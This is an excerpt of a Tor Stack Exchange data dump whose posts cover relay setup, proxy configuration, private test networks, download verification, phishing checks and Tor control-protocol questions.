LastEditDate="2020-06-16T22:12:33.030" LastActivityDate="2020-06-16T22:12:33.030" Title="HiddenService cannot set my own Domain (Privatkey)" Tags="|onion-services|tor-install|debian|blocked-services|server-administration|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21334" PostTypeId="1" CreationDate="2020-06-17T01:39:18.603" Score="0" ViewCount="195" Body="&lt;p&gt;an adversary controls some middle nodes and they log ip adresses of users and times they connect. if an adversary controlled middle node receives traffic from one of their own controlled middle nodes the middle node logs the node the traffic is received from, and exit node that the traffic is to be passed on to and the time, will the adversary be able to find out what exit node a person used at a certain time?&lt;/p&gt;&#xA;" OwnerUserId="30454" LastActivityDate="2022-03-09T07:02:05.173" Title="is this a threat to tor?" Tags="|anonymity|relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21335" PostTypeId="2" ParentId="21334" CreationDate="2020-06-17T03:26:07.740" Score="0" Body="&lt;p&gt;Yes if an adversary controls both a user's guard relay and a middle relay for one of the user's circuits, the adversary can know what exit relay was used for that circuit by the client (and the time it was used). But this doesn't really help the adversary since it doesn't tell them what the user was doing. Instead, they will try to control or monitor the guard relay and exit relay for a user's circuit; the middle relay doesn't matter. This allows the adversary to link the user to the domain of whatever website they're accessing.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-06-17T03:26:07.740" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21336" PostTypeId="1" CreationDate="2020-06-17T19:00:10.553" Score="0" ViewCount="79" Body="&lt;p&gt;I just installed linux on my laptop (parrot). I can access a lot of onion links via Tor, but for some reason places like Empire and Dread are just not loading. I tried the exact same links on my android and they worked without any issue&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what should I do?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im new to linux so help would be appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks guys!&lt;/p&gt;&#xA;" OwnerUserId="30461" LastActivityDate="2020-06-17T19:00:10.553" Title="TOR will only open SOME onlion links" Tags="|onion-routing|linux|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21337" PostTypeId="1" CreationDate="2020-06-18T00:21:10.907" Score="0" ViewCount="140" Body="&lt;p&gt;I have a Windows PC, and I'm wanting to run a middle node on it. The problem is, after a LOT of googling, I see nothing on how to run a middle node on Windows. In fact, on &lt;a href=&quot;https://community.torproject.org/relay/setup/guard/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://community.torproject.org/relay/setup/guard/&lt;/a&gt; it shows nothing on how to run a middle node on Windows: &lt;a href=&quot;https://i.stack.imgur.com/KElGa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KElGa.png&quot; alt=&quot;In fact, on https://community.torproject.org/relay/setup/guard/ it shows nothing on how to run a middle node on Windows&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is it even possible to run a middle node on Windows? If so, how?&lt;/p&gt;&#xA;" OwnerUserId="30462" LastActivityDate="2020-06-18T00:21:10.907" Title="Is it possible to run a Tor middle node on Windows 10?" Tags="|windows|node|middle|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21338" PostTypeId="1" CreationDate="2020-06-18T12:51:57.133" Score="0" ViewCount="674" Body="&lt;p&gt;I am trying to configure my internet options so I can use the Tor servers in another browser, specifically Internet Explorer. Yes, I know this is not recommended and it's an old browser, but I need to do this because my web scraping software only allows for this. Having said that, changing the internet options in Internet Explorer does impact other browsers, too.&lt;/p&gt;&#xA;&lt;p&gt;So, the steps I've taken thus far are as follows:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Downloaded Tor and the Windows Expert Bundle from the official&#xA;website and installed both.&lt;/li&gt;&#xA;&lt;li&gt;In Command Prompt I ran &lt;code&gt;tor.exe --HTTPTunnelPort 8118&lt;/code&gt; (following the&#xA;advice I found at&#xA;&lt;a href=&quot;https://tor.stackexchange.com/questions/16554/this-is-a-socks-proxy-not-an-http-proxy/16561#16561&quot;&gt;&amp;quot;This is a SOCKS Proxy, Not An HTTP Proxy&amp;quot;&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;I went into Internet Explorer &amp;gt;&amp;gt;&amp;gt; Internet options &amp;gt;&amp;gt;&amp;gt; Connections&#xA;and set the proxy ports. See the image below for my setup.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1spEK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1spEK.png&quot; alt=&quot;Internet Options&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;What I found was that HTTPS sites work but HTTP ones don't. I get the following error message when I navigate to a HTTP website: “This is an HTTP CONNECT tunnel, not an HTTP proxy.”&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tDhZf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tDhZf.png&quot; alt=&quot;Error Message&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;When I go to &lt;a href=&quot;https://check.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://check.torproject.org/&lt;/a&gt;, it says: “Congratulations. This browser is configured to use Tor.”&lt;/p&gt;&#xA;&lt;p&gt;So it looks like it's working up to a certain point, but I don't know why HTTP sites do not work.&lt;/p&gt;&#xA;" OwnerUserId="30459" LastEditorUserId="30459" LastEditDate="2020-06-18T13:11:26.650" LastActivityDate="2021-12-17T03:02:45.263" Title="Configuring Tor to Work in Other Web Browsers" Tags="|onion-routing|proxy|socks|settings|tunnel|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21340" PostTypeId="1" AcceptedAnswerId="21342" CreationDate="2020-06-19T04:26:25.490" Score="0" ViewCount="380" Body="&lt;p&gt;Can one setup some type of PHP service that routes url info to a PHP script that outputs tor websites without having to install a tor browser on our client machine?&lt;/p&gt;&#xA;" OwnerUserId="30467" LastActivityDate="2020-06-19T09:39:33.550" Title="Access tor sites without installing a tor browser, but via a PHP url?" Tags="|vpn|browsers|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21342" PostTypeId="2" ParentId="21340" CreationDate="2020-06-19T09:39:33.550" Score="0" Body="&lt;p&gt;You can use torsocks. It comes with pretty much ever major Linux distribution. Torsocks will automatically push the request through the Tor network.&lt;/p&gt;&#xA;&lt;p&gt;start the tor daemon.&lt;/p&gt;&#xA;&lt;p&gt;torsocks myapp.php mywebsitse.onion&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-06-19T09:39:33.550" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21343" PostTypeId="1" AcceptedAnswerId="21350" CreationDate="2020-06-19T13:02:16.137" Score="1" ViewCount="602" Body="&lt;p&gt;I am looking to perform a series of experiments that would result in a tor-like implementation on a non-desktop platform for purely academic purposes. Before starting implementation itself, I would like to setup an environment in which I will be able to safely test my future implementation. In short, I am looking to configure a private tor network.&lt;/p&gt;&#xA;&lt;p&gt;I imagine the testing setup looking like that:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Some directory authorities&lt;/li&gt;&#xA;&lt;li&gt;Several guard/relay nodes (2-3 of them)&lt;/li&gt;&#xA;&lt;li&gt;Single exit node&lt;/li&gt;&#xA;&lt;li&gt;My own implemented node acting as guard/relay/bridge/exit depending on configuration&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I will consider my little project a success when I will be able to access the internet and/or some onion services through the Tor Browser with traffic routed through my network.&lt;/p&gt;&#xA;&lt;p&gt;Questions:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How do I configure directory authorities and how many of them do I need? Most of the documentation, unsurprisingly, focuses on configuring relay or exit. I can see that it's advised in many similar questions and in Tor documentation to use Chutney or Shadow, I'd prefer to setup network myself and probably some of those tools do not fit my use case.&lt;/li&gt;&#xA;&lt;li&gt;Can I run everything from a single machine, is there anything I will stumble upon that would prevent me from completing a circuit that is all on one machine?&lt;/li&gt;&#xA;&lt;li&gt;While you are here, do you see something inherently flawed in my setup that I would stumble upon only after investing multiple hours into completing the testing circuit and implementing a node?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="30470" LastActivityDate="2020-06-19T21:32:27.897" Title="How to configure Tor to act as a Directory Authority?" Tags="|configuration|directory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21344" PostTypeId="1" CreationDate="2020-06-19T13:53:33.727" Score="0" ViewCount="725" Body="&lt;p&gt;1.i just learnt about Tor, and i'd like to know where is the best place to download Tor browser,i feel downloading from the google play store or another browser might have a negative effect on the purpose i'm using it for.&#xA;2. do i have to use VPN with TOR?&#xA;3. how safe am i using TOR browser?&lt;/p&gt;&#xA;" OwnerUserId="30469" LastActivityDate="2022-04-11T23:01:45.177" Title="is it safe to download Tor browser from other browser" Tags="|tor-browser-bundle|configuration|security|browsers|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21345" PostTypeId="2" ParentId="21344" CreationDate="2020-06-19T15:59:02.520" Score="0" Body="&lt;p&gt;For the first question: It depends on which OS you are using. If you are using any Linux distribution or BSD. You are better off getting tor via the built-in &lt;a href=&quot;https://en.wikipedia.org/wiki/Package_manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;package manager&lt;/a&gt;. They will automatically download, verify and install tor for you. If you are using Windows (I'm not sure about OS X). Getting Tor using another browser is going to be your best option. And if you are technical enough, remember to &lt;a href=&quot;https://support.torproject.org/tbb/how-to-verify-signature/&quot; rel=&quot;nofollow noreferrer&quot;&gt;verify your download using Tor's GPG signature.&lt;/a&gt; Verifying detects and stops you from executing malicious code in case someone have tempted with your download.&lt;/p&gt;&#xA;&lt;p&gt;For the second question, it depends: Unless you live in one of the continues that sensors the Internet or are using Tor under a heavy firewall. You don't.&lt;/p&gt;&#xA;&lt;p&gt;For the third question, again it depends. Tor is a anonymizing network, and it provides security by giving you privacy Assume for a second that you are a journalist in a war zone. You get killed if the military knows who you are. So you use Tor to avoid that. It hides your IP and identity. It prevents governments and cooperation from knowing who you are given you are using Tor correctly. - That is, don't do stuff that defeats the entire point of Tor. Like, cooperation can still track you if you logged into your account with a real identity connected to it. And, Tor won't block malware nor it prevents &lt;a href=&quot;https://en.wikipedia.org/wiki/Phishing&quot; rel=&quot;nofollow noreferrer&quot;&gt;phishing&lt;/a&gt;. Tor is a powerful tool. But it is not a magic pill for all security problems.&lt;/p&gt;&#xA;" OwnerUserId="30201" LastActivityDate="2020-06-19T15:59:02.520" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21346" PostTypeId="1" AcceptedAnswerId="21349" CreationDate="2020-06-19T15:59:26.447" Score="0" ViewCount="1212" Body="&lt;p&gt;Where is there an official list of tor gateway and exit nodes?&lt;/p&gt;&#xA;" OwnerUserId="30467" LastActivityDate="2020-06-19T19:20:01.187" Title="Is there a public list of Tor public nodes that are gateway or exit nodes?" Tags="|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21347" PostTypeId="1" AcceptedAnswerId="21348" CreationDate="2020-06-19T17:01:32.100" Score="0" ViewCount="85" Body="&lt;p&gt;Is there a way to see how fast Tor is publicly? A site with Tor stats?&lt;/p&gt;&#xA;" OwnerUserId="30467" LastActivityDate="2020-06-19T19:13:00.083" Title="Is there a public view of the Tor network speed?" Tags="|speed|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21348" PostTypeId="2" ParentId="21347" CreationDate="2020-06-19T19:13:00.083" Score="3" Body="&lt;p&gt;The Tor Project provides the &lt;a href=&quot;https://metrics.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Metrics&lt;/a&gt; website which allows you to see a variety of details about the network. You may find the &lt;a href=&quot;https://metrics.torproject.org/torperf.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Performance&lt;/a&gt; page useful.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-06-19T19:13:00.083" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21349" PostTypeId="2" ParentId="21346" CreationDate="2020-06-19T19:20:01.187" Score="1" Body="&lt;p&gt;You can easily find relays on the &lt;a href=&quot;https://metrics.torproject.org/rs.html#search&quot; rel=&quot;nofollow noreferrer&quot;&gt;Relay Search&lt;/a&gt; page of the metrics website. If you want a list, you can also download the &lt;a href=&quot;https://metrics.torproject.org/collector.html#type-network-status-consensus-3&quot; rel=&quot;nofollow noreferrer&quot;&gt;network consensus document&lt;/a&gt; to get the most up-to-date list of relays. If you want only the IP addresses of exit relays, you can also download &lt;a href=&quot;https://check.torproject.org/torbulkexitlist&quot; rel=&quot;nofollow noreferrer&quot;&gt;this list&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-06-19T19:20:01.187" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21350" PostTypeId="2" ParentId="21343" CreationDate="2020-06-19T19:53:50.590" Score="0" Body="&lt;p&gt;Tor provides the &lt;code&gt;TestingTorNetwork&lt;/code&gt; torrc option to simplify this kind of local testing on a single machine. For example it sets reduced voting intervals, allows exits to connect to localhost, speeds up bootstrapping significantly, etc. Use &lt;code&gt;man tor&lt;/code&gt; and search for &lt;code&gt;TestingTorNetwork&lt;/code&gt; to see all of the options it sets. Chutney would be the recommended tool in this scenario (and I've performed the same type of experiments as you described using Chutney), but if you want to do it manually, I recommend reading the Chutney source code and using Chutney as a guide. Tor has some nuanced behavior that isn't documented, but Chutney has developed workarounds for.&lt;/p&gt;&#xA;&lt;p&gt;For the specific question about configuring Tor to act as a directory authority, see Chutney's &lt;a href=&quot;https://gitweb.torproject.org/chutney.git/tree/torrc_templates/authority.i&quot; rel=&quot;nofollow noreferrer&quot;&gt;torrc file&lt;/a&gt; and the &lt;code&gt;_genAuthorityKey()&lt;/code&gt; &lt;a href=&quot;https://gitweb.torproject.org/chutney.git/tree/lib/chutney/TorNet.py?id=30aa04adabeddd304fb6c1b390934cabce6c6ba9#n732&quot; rel=&quot;nofollow noreferrer&quot;&gt;function&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastEditorUserId="24966" LastEditDate="2020-06-19T21:32:27.897" LastActivityDate="2020-06-19T21:32:27.897" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21353" PostTypeId="1" CreationDate="2020-06-20T18:02:37.453" Score="1" ViewCount="312" Body="&lt;p&gt;Theoretically, how safe is it to &amp;quot;torsocks git clone/pull/push&amp;quot;? Git is not listed as one of the &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/torsocks#Security&quot; rel=&quot;nofollow noreferrer&quot;&gt;&amp;quot;100% Safe&amp;quot; applications in the wiki&lt;/a&gt;, but considering it uses either ssh or HTTP(S) as its underlying protocol, I see no reason to assume it would not work as expected. Am I missing something?&lt;/p&gt;&#xA;&lt;p&gt;By &amp;quot;safe&amp;quot; I mean &amp;quot;origin IP does not leak to server hosting the repository&amp;quot;. The identity of the requester, for operations that involve authentication and authorization, will obviously be known.&lt;/p&gt;&#xA;" OwnerUserId="30476" LastActivityDate="2022-03-18T18:00:25.033" Title="Is git cli safe to be used with torsocks?" Tags="|torsocks|git|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21354" PostTypeId="1" CreationDate="2020-06-20T18:48:49.603" Score="5" ViewCount="700" Body="&lt;p&gt;On some sites, the CPU usage goes to 100% (one core) and it freezes any activity inside the browser. For example I can move the window, but not click the tabs or in the page, and if I do, the actions are delayed.&lt;/p&gt;&#xA;&lt;p&gt;One site in particular, &lt;a href=&quot;https://izismile.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;izismile.com&lt;/a&gt;, can make this 100% usage to go for tens of seconds, even a minute or so. The network activity doesn't seem high, a few KB (LAN included), so I thought maybe it struggles with communicating with relays, but sometimes it is possible to have a few seconds break, during which if I open up other sites, tor.se for example, they open up fast, no glitches.&lt;/p&gt;&#xA;&lt;p&gt;Why is this happening and should I worry? I am using the latest Tor Borwser (9.5) on Archlinux x64, with javascript disabled, no tracking, some extra &lt;code&gt;about:config&lt;/code&gt; changes, all coming from &lt;a href=&quot;https://www.privacytools.io&quot; rel=&quot;nofollow noreferrer&quot;&gt;privacytools.io&lt;/a&gt;. Also uBlock Origin, the only foreign thing added.&lt;/p&gt;&#xA;" OwnerUserId="8164" LastEditorUserId="17825" LastEditDate="2020-06-23T13:19:15.563" LastActivityDate="2021-12-30T19:06:10.533" Title="High CPU usage on some sites" Tags="|tor-browser-bundle|linux|connection|website|performance|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21356" PostTypeId="1" CreationDate="2020-06-21T09:53:46.650" Score="0" ViewCount="64" Body="&lt;p&gt;There are a few places in the user manuals that talk about bridges. Three different methods of using bridges are mentioned, however, only one of them works. I have looked exhaustively and have been unable to find a 'Tor' option in the sidebar of the 'Preferences' page accessed through the hamburger menu, or anywhere else. I also have been unable to locate the Tor Browser's Network Settings, which is another way to get to create bridges that is mentioned. The only way to I have found so far to make a bridge is to access the network settings in the welcome screen where you unlock your persistent storage. Just thought you guys might want to be aware that this is the case, and that it's confusing for the user, so you can maybe get that updated. Links and text below. Keep up the good work, thank you!!!&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://dgvdmophvhunawds.onion/bridges/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://dgvdmophvhunawds.onion/bridges/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;Or, if you have Tor Browser running, click on &amp;quot;Preferences&amp;quot; in the hamburger menu and then on &amp;quot;Tor&amp;quot; in the sidebar. In the &amp;quot;Bridges&amp;quot; section, check the checkbox &amp;quot;Use a bridge,&amp;quot; and from the option &amp;quot;Provide a bridge I know,&amp;quot; enter each bridge address on a separate line. Your settings will automatically be saved once you close the tab.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://qrmfuxwgyzk5jdjz.onion/docs/bridges.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://qrmfuxwgyzk5jdjz.onion/docs/bridges.html.en&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;2) To begin using bridges, open Tor Browser's Network Settings:&amp;quot;&lt;/p&gt;&#xA;" OwnerUserId="30480" LastActivityDate="2020-06-21T09:53:46.650" Title="Instructions for bridges do not match the browser tools" Tags="|configuration|bridge|update|website|settings|" AnswerCount="0" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21358" PostTypeId="1" CreationDate="2020-06-22T21:06:47.630" Score="0" ViewCount="65" Body="&lt;p&gt;I installed a few onion domains: in &lt;code&gt;/etc/torrc and /var/lib/tor/hidden_services.... &lt;/code&gt; on the same port and configured one virtual host on nginx for these domains (same document root). Usually all the domains work fine. But sometimes &lt;strong&gt;one&lt;/strong&gt; of the domains refuses to operate. When I click on its link or enter id directly into address bar I can be waiting for quite long (5, 10, 15 minutes or maybe more, I did not try) with no timeout error or any record in all existing logs. I tried it in new browser tabs. I also restarted nginx and tor.  And nothing helps. At the same time other domains have no problem. After a while it may work again like nothing happened before, and it makes me crazy.&#xA;Do you what can be the reason and how to fix it?&lt;/p&gt;&#xA;" OwnerUserId="30037" LastActivityDate="2020-06-22T21:06:47.630" Title="two or more onion domains on the same vps" Tags="|configuration|onion-services|onion-routing|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21359" PostTypeId="2" ParentId="21338" CreationDate="2020-06-23T09:37:27.080" Score="0" Body="&lt;p&gt;According to &lt;a href=&quot;https://gitlab.torproject.org/legacy/trac/-/issues/27821&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitlab.torproject.org/legacy/trac/-/issues/27821&lt;/a&gt; , Tor will only support CONNECT proxies, not regular HTTP proxies. Try to use a different client or try to change some setting in IE itself so it can use HTTP CONNECT proxies.&lt;/p&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2020-06-23T09:37:27.080" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21363" PostTypeId="1" CreationDate="2020-06-24T10:51:28.540" Score="0" ViewCount="508" Body="&lt;p&gt;Hi I'm very new to Tor and I was wondering if someone could help me understand what the purpose or function of the file:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;/root/tor-browser_en-US/TorBrowser/Data/Tor/geoip&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="25273" LastActivityDate="2021-07-19T20:37:09.177" Title="Purpose of geoip Data file" Tags="|geoip|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21364" PostTypeId="2" ParentId="21363" CreationDate="2020-06-24T15:24:30.410" Score="1" Body="&lt;p&gt;Since you're new, the first place to find the answers to your questions is to check is the &lt;a href=&quot;https://2019.www.torproject.org/docs/documentation.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation page&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://2019.www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Manual&lt;/a&gt;: &amp;quot;A filename containing IPv4 GeoIP data, for use with by-country statistics.&amp;quot;&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-06-24T15:24:30.410" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21365" PostTypeId="1" AcceptedAnswerId="21369" CreationDate="2020-06-25T09:14:04.310" Score="2" ViewCount="99" Body="&lt;p&gt;I am trying to connect to the Facebook Tor hidden service i copied and pasted it from the Tor blog post and even the Wikipedia everything loads fine however i have noticed that the design of the web page sometimes changes is this a design choice or a possible phishing page? I have also checked the clearnet version and it's the same there as well so i'm leaning towards a design choice but wanted to come hear and ask before i entered my login information.&lt;/p&gt;&#xA;" OwnerUserId="30494" LastActivityDate="2020-06-25T18:53:31.650" Title="Could this be a phishing hidden service?" Tags="|onion-services|facebook|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21366" PostTypeId="1" AcceptedAnswerId="21368" CreationDate="2020-06-25T13:28:51.223" Score="0" ViewCount="137" Body="&lt;p&gt;I want to know what the difference between the torrc file &amp;amp; the torrc-defaults file is, seeing in the verbose output it says both are read when I start my browser.&lt;/p&gt;&#xA;&lt;p&gt;I also want to know the purpose of the hidden file .torrc.swp especially seeing it is not human readable.&lt;/p&gt;&#xA;&lt;p&gt;thank you&lt;/p&gt;&#xA;" OwnerUserId="25273" LastActivityDate="2020-06-25T17:54:07.820" Title="Tor Browser Data Files" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21367" PostTypeId="1" CreationDate="2020-06-25T15:38:20.017" Score="1" ViewCount="653" Body="&lt;ul&gt;&#xA;&lt;li&gt;Whonix v15.0.1.3.9.&lt;/li&gt;&#xA;&lt;li&gt;Log says clock is sane and there are no errors about time or date.&lt;/li&gt;&#xA;&lt;li&gt;Host Internet connection&#xA;is working with Tor Browser.&lt;/li&gt;&#xA;&lt;li&gt;Whonix-Gateway VM clearnet&#xA;connection is tested with sudo -u clearnet command (from Whonix&#xA;troubleshooting page) and is able to connect.&lt;/li&gt;&#xA;&lt;li&gt;Log message from journalctl is 'Tor daemon&#xA;connection failed: Cannot read&#xA;/var/lib/tor/cached-microsdesc-consensus  No such file.'&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This worked until I started using LAN cable to connect to my router instead of wifi. I haven't changed anything else.  ISP, operating system  --  no change. The wifi on my router is broken so I can't use that now anyway, but I think I prefer LAN cable because it's faster so I'll probably keep that anyway.&lt;/p&gt;&#xA;&lt;p&gt;I've read other questions and answers and they all say CHECK THE TIME! But my log says the clock is sane?&lt;/p&gt;&#xA;&lt;p&gt;The log just repeats the same message every second:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Vanguards 0.3.1 connected to Tor 0.4.3.5 using stem 1.7.1&#xA;Tor needs descriptors: Cannot read /var/lib/tor/cached-microdesc-consensus: [Errno2] No such file or directory: '/var/lib/tor/cached-microdesc-consensus'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Isn't it weird that Tor Browser connects on Host, clearnet on Whonix Gateway connects but Tor on Whonix Gateway hangs??&lt;/p&gt;&#xA;" OwnerUserId="30496" LastActivityDate="2020-06-25T15:38:20.017" Title="Latest version of Whonix-Gateway stuck on &quot;Loading Network Status 30%&quot;" Tags="|whonix|connection|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21368" PostTypeId="2" ParentId="21366" CreationDate="2020-06-25T17:54:07.820" Score="0" Body="&lt;p&gt;tor reads and uses torrc.  Let's say you delete it or you really screw something up in it. You copy the torrc-defaults to torrc and start fresh from scratch. This is very common in the Linux world. It is -defaults because it is the default configuration.&lt;/p&gt;&#xA;&lt;p&gt;.torrc.swp has nothing to do with tor. If you open the file with vim, then vim creates as a temp file. When you close vim, then it should be deleted automatically. If you have more question about vim, then ask in Unix/Linux.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-06-25T17:54:07.820" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21369" PostTypeId="2" ParentId="21365" CreationDate="2020-06-25T18:53:31.650" Score="3" Body="&lt;p&gt;The way to check to see if a website is or is not a phishing attempt is the exact same way regardless of the browser.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Click on the information link:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vOvyv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vOvyv.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Click on the arrow for the certificate on the right:&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check the certificate:&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RCFYI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RCFYI.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Facebook has one of the few onion services that uses trusted certificates. They are still expensive and hard to get. If the onion service does not, the it is up to you to check to see if the url is correct from a known good source. Hopefully a service like Let's Encrypt will cover onion services in the future.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-06-25T18:53:31.650" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21370" PostTypeId="1" CreationDate="2020-06-25T20:38:55.980" Score="0" ViewCount="322" Body="&lt;p&gt;Currently the only way I know if signaling &lt;code&gt;NEWNYM&lt;/code&gt; worked is if I didn't receive a message stating that I've been rate limited.&lt;/p&gt;&#xA;&lt;p&gt;Is there a way to send something via &lt;code&gt;GETINFO&lt;/code&gt; both pre/post signaling for a new identity and compare them after?&lt;/p&gt;&#xA;&lt;p&gt;Not seeing anything in the spec (&lt;a href=&quot;https://torproject.gitlab.io/torspec/control-spec/#getinfo&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://torproject.gitlab.io/torspec/control-spec/#getinfo&lt;/a&gt;), help would be very much appreciated :-D!&lt;/p&gt;&#xA;&lt;p&gt;EDIT: My workaround. I created a custom listener to write all notice messages to a string buffer. Added the listener before signaling NEWNYM, then waited a few milliseconds and checked the buffer to see if it contained the &lt;code&gt;Rate limited&lt;/code&gt; message. If not, I posted to the notification that Identity was changed.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/05nelsonm/TorOnionProxyLibrary-Android/commit/778590d12db95a80b84cf3b4ff6fa93ef732284e&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/05nelsonm/TorOnionProxyLibrary-Android/commit/778590d12db95a80b84cf3b4ff6fa93ef732284e&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you've got any better ideas, would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="28148" LastEditorUserId="28148" LastEditDate="2020-06-26T02:37:50.820" LastActivityDate="2022-03-18T07:05:45.513" Title="How to verify that signaling NEWNYM worked properly?" Tags="|protocol|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
